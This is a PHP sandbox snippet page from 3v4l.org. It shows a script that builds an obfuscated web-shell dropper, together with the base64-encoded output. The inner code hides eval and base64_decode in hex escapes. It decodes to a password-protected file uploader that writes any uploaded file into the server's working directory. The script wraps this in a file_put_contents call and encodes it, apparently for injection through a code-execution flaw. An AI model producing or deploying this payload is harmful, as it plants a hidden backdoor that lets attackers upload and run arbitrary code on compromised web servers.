3v4l.org

run code in 150+ php & hhvm versions
Bugs & Features
<?php $u = '<?php $a= "\x65". "v\x61"."l";$b="\x62\x61"."s"."\x656"."4_\x64\x65"."\x63o\x64"."\x65";$a($b(aWYoIWlzc2V0KCRfUE9TVFsncGFzc3dvcmQnXSl8fG1kNSgkX1BPU1RbJ3Bhc3N3b3JkJ10pIT09J2QyY2ZjYjc0NWE3NGFiOGNjZGNkOWUxZTYzZTUzNGQyJylkaWU7JHBhdGg9Z2V0Y3dkKCkuJy8nLmJhc2VuYW1lKCRfRklMRVNbJ2ZpbGUnXVsnbmFtZSddKTtpZihAbW92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNbJ2ZpbGUnXVsndG1wX25hbWUnXSwkcGF0aCkpe2VjaG8gJ09rJzt9));'; $v = 'file_put_contents("upload",\'' . $u . '\');'; echo base64_encode($v);
Output for 4.3.0 - 5.6.28, hhvm-3.10.0 - 3.12.0, 7.0.0 - 7.1.0
ZmlsZV9wdXRfY29udGVudHMoInVwbG9hZCIsJzw/cGhwICAkYT0gIlx4NjUiLiAidlx4NjEiLiJsIjskYj0iXHg2Mlx4NjEiLiJzIi4iXHg2NTYiLiI0X1x4NjRceDY1Ii4iXHg2M29ceDY0Ii4iXHg2NSI7JGEoJGIoYVdZb0lXbHpjMlYwS0NSZlVFOVRWRnNuY0dGemMzZHZjbVFuWFNsOGZHMWtOU2drWDFCUFUxUmJKM0JoYzNOM2IzSmtKMTBwSVQwOUoyUXlZMlpqWWpjME5XRTNOR0ZpT0dOalpHTmtPV1V4WlRZelpUVXpOR1F5Snlsa2FXVTdKSEJoZEdnOVoyVjBZM2RrS0NrdUp5OG5MbUpoYzJWdVlXMWxLQ1JmUmtsTVJWTmJKMlpwYkdVblhWc25ibUZ0WlNkZEtUdHBaaWhBYlc5MlpWOTFjR3h2WVdSbFpGOW1hV3hsS0NSZlJrbE1SVk5iSjJacGJHVW5YVnNuZEcxd1gyNWhiV1VuWFN3a2NHRjBhQ2twZTJWamFHOGdKMDlySnp0OSkpOycpOw==